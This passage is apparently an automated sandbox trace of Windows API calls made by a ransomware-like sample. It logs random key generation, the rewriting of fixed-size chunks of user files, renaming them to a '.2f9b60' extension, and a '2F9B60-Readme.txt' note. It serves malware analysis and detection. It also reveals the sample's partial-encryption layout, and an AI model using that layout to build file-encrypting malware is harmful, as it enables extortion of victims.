Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x510a5901 [0094.293] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x298c98cc [0094.293] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x76adced4 [0094.293] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x70fc8de2 [0094.293] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x3df22f02 [0094.293] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x15f16695 [0094.293] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x414e24c8 [0094.293] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x286c00ac [0094.293] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x4ce8df8c [0094.293] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x66bad9bc [0094.305] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.305] ReadFile (in: hFile=0xdac, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x249bfaa0, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x249bfaa0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.305] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866840 [0094.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0094.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbe0) returned 1 [0094.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0094.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0094.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0094.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb20) returned 1 [0094.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0094.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.306] WriteFile (in: hFile=0xdac, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x249bfaa0, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x249bfaa0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0094.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85fb20 [0094.308] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0094.308] WriteFile (in: hFile=0xdac, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x249bfb50, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x249bfb50*=0x106, lpOverlapped=0x0) returned 1 [0094.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866840 [0094.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fac0 [0094.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fac0) returned 1 [0094.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0094.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fac0 [0094.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f940 [0094.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f940) returned 1 [0094.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0094.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f2f0 [0094.310] sprintf (in: _Dest=0x1cd9f2f0, _Format="%c%c" | out: _Dest="3c") returned 2 [0094.310] sprintf (in: _Dest=0x1cd9f2f2, _Format="%c%c" | out: _Dest="5b") returned 2 [0094.310] sprintf (in: _Dest=0x1cd9f2f4, _Format="%c%c" | out: _Dest="75") returned 2 [0094.310] sprintf (in: _Dest=0x1cd9f2f6, _Format="%c%c" | out: _Dest="eb") returned 2 [0094.310] sprintf (in: _Dest=0x1cd9f2f8, _Format="%c%c" | out: _Dest="ca") returned 2 [0094.310] sprintf (in: _Dest=0x1cd9f2fa, _Format="%c%c" | out: _Dest="63") returned 2 [0094.310] sprintf (in: _Dest=0x1cd9f2fc, _Format="%c%c" | out: _Dest="e1") returned 2 [0094.310] sprintf (in: _Dest=0x1cd9f2fe, _Format="%c%c" | out: _Dest="16") returned 2 [0094.310] sprintf (in: _Dest=0x1cd9f300, _Format="%c%c" | out: _Dest="5e") returned 2 [0094.310] sprintf (in: _Dest=0x1cd9f302, _Format="%c%c" | out: _Dest="97") returned 2 [0094.310] sprintf (in: _Dest=0x1cd9f304, _Format="%c%c" | out: _Dest="88") returned 2 [0094.310] sprintf (in: _Dest=0x1cd9f306, _Format="%c%c" | out: _Dest="d1") returned 2 [0094.311] sprintf (in: _Dest=0x1cd9f308, _Format="%c%c" | out: _Dest="3c") returned 2 [0094.311] sprintf (in: _Dest=0x1cd9f30a, _Format="%c%c" | out: _Dest="90") returned 2 [0094.311] sprintf (in: _Dest=0x1cd9f30c, _Format="%c%c" | out: _Dest="e5") returned 2 [0094.311] sprintf (in: _Dest=0x1cd9f30e, _Format="%c%c" | out: _Dest="62") returned 2 [0094.311] sprintf (in: _Dest=0x1cd9f310, _Format="%c%c" | out: _Dest="df") returned 2 [0094.311] sprintf (in: _Dest=0x1cd9f312, _Format="%c%c" | out: _Dest="07") returned 2 [0094.311] sprintf (in: _Dest=0x1cd9f314, _Format="%c%c" | out: _Dest="fb") returned 2 [0094.311] sprintf (in: _Dest=0x1cd9f316, _Format="%c%c" | out: _Dest="a2") returned 2 [0094.311] RtlInitAnsiString (in: DestinationString=0x249bfbc8, SourceString="3c5b75ebca63e1165e9788d13c90e562df07fba2" | out: DestinationString="3c5b75ebca63e1165e9788d13c90e562df07fba2") [0094.311] RtlAnsiStringToUnicodeString (in: DestinationString=0x249bfb98, SourceString="3c5b75ebca63e1165e9788d13c90e562df07fba2", AllocateDestinationString=1 | out: DestinationString="3c5b75ebca63e1165e9788d13c90e562df07fba2") returned 0x0 [0094.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c6d0 [0094.311] wcscat (in: _Dest=0x1b866840, _Source="3c5b75ebca" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3c5b75ebca") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3c5b75ebca" [0094.311] wcscat (in: _Dest=0x1b866840, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3c5b75ebca.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3c5b75ebca.2f9b60" [0094.311] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3c5b75ebca.2f9b60", NtPathName=0x249bfb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3c5b75ebca.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0094.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ad5c0 [0094.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0094.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0094.331] NtQueryInformationFile (in: FileHandle=0xdac, IoStatusBlock=0x249bfbd8, FileInformation=0x249bfbe8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x249bfbd8, FileInformation=0x249bfbe8) returned 0x0 [0094.331] NtSetInformationFile (FileHandle=0xdac, IoStatusBlock=0x249bfbd8, FileInformation=0x249bfbe8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0094.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0094.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c6d0) returned 1 [0094.336] FlushFileBuffers (hFile=0xdac) returned 1 [0094.339] CloseHandle (hObject=0xdac) returned 1 [0094.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866840 [0094.340] wcscpy (in: _Dest=0x1b866840, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0094.340] wcscat (in: _Dest=0x1b866840, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" [0094.340] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2f9b60-readme.txt")) returned 0x20 [0094.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0094.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ee90) returned 1 Thread: id = 561 os_tid = 0xe88 [0094.313] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7RQaz-5 SCuxZ6bSqg0-.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\7rqaz-5 scuxz6bsqg0-.swf")) returned 0x20 [0094.313] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7RQaz-5 SCuxZ6bSqg0-.swf", dwFileAttributes=0x20) returned 1 [0094.315] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7RQaz-5 SCuxZ6bSqg0-.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\7rqaz-5 scuxz6bsqg0-.swf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd90 [0094.316] GetFileSizeEx (in: hFile=0xd90, lpFileSize=0x2524fba0 | out: lpFileSize=0x2524fba0*=87165) returned 1 [0094.316] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x15479, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.316] ReadFile (in: hFile=0xd90, lpBuffer=0x2524fb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2524fb68, lpOverlapped=0x0 | out: lpBuffer=0x2524fb20*, lpNumberOfBytesRead=0x2524fb68*=0x4, lpOverlapped=0x0) returned 1 [0094.317] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0094.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb50 [0094.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0094.317] NtQuerySystemTime (in: CurrentTime=0x2524fa60 | out: CurrentTime=0x2524fa60*=132462177001438000) returned 0x0 [0094.317] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x492366fb [0094.317] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x40f56c82 [0094.317] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x6957130a [0094.317] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x4d1ac890 [0094.317] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x674e595a [0094.317] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x794e0111 [0094.317] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x4585d8c7 [0094.317] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x730429d6 [0094.317] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x53066946 [0094.317] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x760583ac [0094.317] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x4d41aa79 [0094.317] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x7a34315e [0094.317] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x4d8d6cab [0094.317] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x52488d4f [0094.318] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0xa596f57 [0094.318] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x4ac0c775 [0094.318] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x591676fa [0094.318] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x3e9d9202 [0094.318] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0xe3e05d0 [0094.318] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x1bfc74cd [0094.318] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x3a8f403c [0094.318] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x6b83d7b6 [0094.318] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x24efd60f [0094.318] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x45b62ba4 [0094.318] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x141d4166 [0094.318] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x68a2bd5f [0094.318] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x592e73aa [0094.318] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x3f6ccf22 [0094.318] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x30493020 [0094.318] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x1c4c47a0 [0094.318] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x8a927d [0094.318] RtlRandomEx (in: Seed=0x2524fa50 | out: Seed=0x2524fa50) returned 0x31433c5e [0094.328] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.328] ReadFile (in: hFile=0xd90, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2524fac0, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2524fac0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.328] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8663c0 [0094.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0094.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbb0) returned 1 [0094.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0094.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0094.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0094.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb80) returned 1 [0094.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8663c0) returned 1 [0094.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.329] WriteFile (in: hFile=0xd90, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2524fac0, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2524fac0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.334] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.334] ReadFile (in: hFile=0xd90, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2524fac0, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2524fac0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.334] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8663c0 [0094.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0094.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb80) returned 1 [0094.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0094.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0094.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0094.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f910) returned 1 [0094.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8663c0) returned 1 [0094.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.335] WriteFile (in: hFile=0xd90, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2524fac0, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2524fac0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.337] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x1187d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.337] ReadFile (in: hFile=0xd90, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2524fac0, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2524fac0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.338] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x1187d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866840 [0094.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0094.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f910) returned 1 [0094.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0094.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0094.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85faf0 [0094.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85faf0) returned 1 [0094.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0094.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.338] WriteFile (in: hFile=0xd90, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2524fac0, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2524fac0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86ee90 [0094.342] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0094.342] WriteFile (in: hFile=0xd90, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2524fb70, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x2524fb70*=0x162, lpOverlapped=0x0) returned 1 [0094.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0094.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866840 [0094.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0094.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb80) returned 1 [0094.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9f2f0 [0094.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0094.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0094.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f910) returned 1 [0094.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0094.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0094.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x1b86ee20 [0094.347] sprintf (in: _Dest=0x1b86ee20, _Format="%c%c" | out: _Dest="55") returned 2 [0094.348] sprintf (in: _Dest=0x1b86ee22, _Format="%c%c" | out: _Dest="c9") returned 2 [0094.348] sprintf (in: _Dest=0x1b86ee24, _Format="%c%c" | out: _Dest="ae") returned 2 [0094.348] sprintf (in: _Dest=0x1b86ee26, _Format="%c%c" | out: _Dest="37") returned 2 [0094.348] sprintf (in: _Dest=0x1b86ee28, _Format="%c%c" | out: _Dest="18") returned 2 [0094.348] sprintf (in: _Dest=0x1b86ee2a, _Format="%c%c" | out: _Dest="9d") returned 2 [0094.348] sprintf (in: _Dest=0x1b86ee2c, _Format="%c%c" | out: _Dest="6a") returned 2 [0094.348] sprintf (in: _Dest=0x1b86ee2e, _Format="%c%c" | out: _Dest="d8") returned 2 [0094.348] sprintf (in: _Dest=0x1b86ee30, _Format="%c%c" | out: _Dest="49") returned 2 [0094.348] sprintf (in: _Dest=0x1b86ee32, _Format="%c%c" | out: _Dest="c6") returned 2 [0094.348] sprintf (in: _Dest=0x1b86ee34, _Format="%c%c" | out: _Dest="2e") returned 2 [0094.348] sprintf (in: _Dest=0x1b86ee36, _Format="%c%c" | out: _Dest="8b") returned 2 [0094.348] sprintf (in: _Dest=0x1b86ee38, _Format="%c%c" | out: _Dest="6d") returned 2 [0094.348] sprintf (in: _Dest=0x1b86ee3a, _Format="%c%c" | out: _Dest="69") returned 2 [0094.348] sprintf (in: _Dest=0x1b86ee3c, _Format="%c%c" | out: _Dest="04") returned 2 [0094.348] sprintf (in: _Dest=0x1b86ee3e, _Format="%c%c" | out: _Dest="56") returned 2 [0094.348] sprintf (in: _Dest=0x1b86ee40, _Format="%c%c" | out: _Dest="29") returned 2 [0094.348] sprintf (in: _Dest=0x1b86ee42, _Format="%c%c" | out: _Dest="54") returned 2 [0094.348] sprintf (in: _Dest=0x1b86ee44, _Format="%c%c" | out: _Dest="d5") returned 2 [0094.348] sprintf (in: _Dest=0x1b86ee46, _Format="%c%c" | out: _Dest="4a") returned 2 [0094.348] sprintf (in: _Dest=0x1b86ee48, _Format="%c%c" | out: _Dest="8c") returned 2 [0094.348] sprintf (in: _Dest=0x1b86ee4a, _Format="%c%c" | out: _Dest="8a") returned 2 [0094.348] sprintf (in: _Dest=0x1b86ee4c, _Format="%c%c" | out: _Dest="5b") returned 2 [0094.348] sprintf (in: _Dest=0x1b86ee4e, _Format="%c%c" | out: _Dest="67") returned 2 [0094.348] sprintf (in: _Dest=0x1b86ee50, _Format="%c%c" | out: _Dest="f2") returned 2 [0094.348] sprintf (in: _Dest=0x1b86ee52, _Format="%c%c" | out: _Dest="e1") returned 2 [0094.349] sprintf (in: _Dest=0x1b86ee54, _Format="%c%c" | out: _Dest="f1") returned 2 [0094.349] sprintf (in: _Dest=0x1b86ee56, _Format="%c%c" | out: _Dest="0f") returned 2 [0094.349] sprintf (in: _Dest=0x1b86ee58, _Format="%c%c" | out: _Dest="ee") returned 2 [0094.349] sprintf (in: _Dest=0x1b86ee5a, _Format="%c%c" | out: _Dest="ae") returned 2 [0094.349] sprintf (in: _Dest=0x1b86ee5c, _Format="%c%c" | out: _Dest="42") returned 2 [0094.349] sprintf (in: _Dest=0x1b86ee5e, _Format="%c%c" | out: _Dest="46") returned 2 [0094.349] sprintf (in: _Dest=0x1b86ee60, _Format="%c%c" | out: _Dest="75") returned 2 [0094.349] sprintf (in: _Dest=0x1b86ee62, _Format="%c%c" | out: _Dest="6a") returned 2 [0094.349] sprintf (in: _Dest=0x1b86ee64, _Format="%c%c" | out: _Dest="d2") returned 2 [0094.349] sprintf (in: _Dest=0x1b86ee66, _Format="%c%c" | out: _Dest="ce") returned 2 [0094.349] sprintf (in: _Dest=0x1b86ee68, _Format="%c%c" | out: _Dest="a0") returned 2 [0094.349] sprintf (in: _Dest=0x1b86ee6a, _Format="%c%c" | out: _Dest="81") returned 2 [0094.349] sprintf (in: _Dest=0x1b86ee6c, _Format="%c%c" | out: _Dest="84") returned 2 [0094.349] sprintf (in: _Dest=0x1b86ee6e, _Format="%c%c" | out: _Dest="32") returned 2 [0094.349] sprintf (in: _Dest=0x1b86ee70, _Format="%c%c" | out: _Dest="09") returned 2 [0094.349] sprintf (in: _Dest=0x1b86ee72, _Format="%c%c" | out: _Dest="ab") returned 2 [0094.349] sprintf (in: _Dest=0x1b86ee74, _Format="%c%c" | out: _Dest="5c") returned 2 [0094.349] 